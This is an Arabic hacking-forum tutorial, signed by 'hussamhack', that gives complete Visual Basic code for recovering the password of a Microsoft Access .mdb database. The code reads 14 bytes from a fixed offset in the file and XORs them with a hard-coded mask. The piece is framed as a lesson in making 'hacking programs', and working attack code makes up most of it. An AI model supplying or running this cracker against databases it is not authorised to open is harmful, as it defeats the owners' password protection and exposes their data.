اصنع برامج اختراق بنفسك ببرنامج الفيجول بيسك2

[hussamhack]

بسم الله الرحمن الرحيم

اختراق كلمة سر لقاعدة بيانات

يمكنك وضع كلمة سر لقاعدة بيانات و الان سنتعلم كيفية اختراقها..
افتح مشروع جديد Standart.exe..
ضع CommonDialog و زر امر..
و الان قم بكتابة هذا الكود في قسم التصريحات العامة:
Option Explicit
Private zChar As String
Dim n As Long, s1 As String * 1, s2 As String * 1
Dim lsClave As String
Dim mask As String
و هذا في زر الامر:
Private Sub Command1_Click()
CommonDialog1.Filter = "Microsoft Access Database|*.mdb"
CommonDialog1.DefaultExt = "mdb"
CommonDialog1.ShowOpen
zChar = CommonDialog1.FileTitle
mask = Chr(78) & Chr(134) & Chr(251) & Chr(236) & _
Chr(55) & Chr(93) & Chr(68) & Chr(156) & _
Chr(250) & Chr(198) & Chr(94) & Chr(40) & Chr(230) & Chr(19)
Open zChar For Binary As #1
Seek #1, &H42
For n = 1 To 14
s1 = Mid(mask, n, 1)
s2 = Input(1, 1)
If (Asc(s1) Xor Asc(s2)) <> 0 Then
lsClave = lsClave & Chr(Asc(s1) Xor Asc(s2))
End If
Next
Close 1
MsgBox lsClave & “كلمة السر هي: ”
End Sub



لاتنسو خالص دوعاكم لأخوكم عفريت الهكر صاحب منضمة الحسام لبرامج الهكر(^_^)(^_^):^: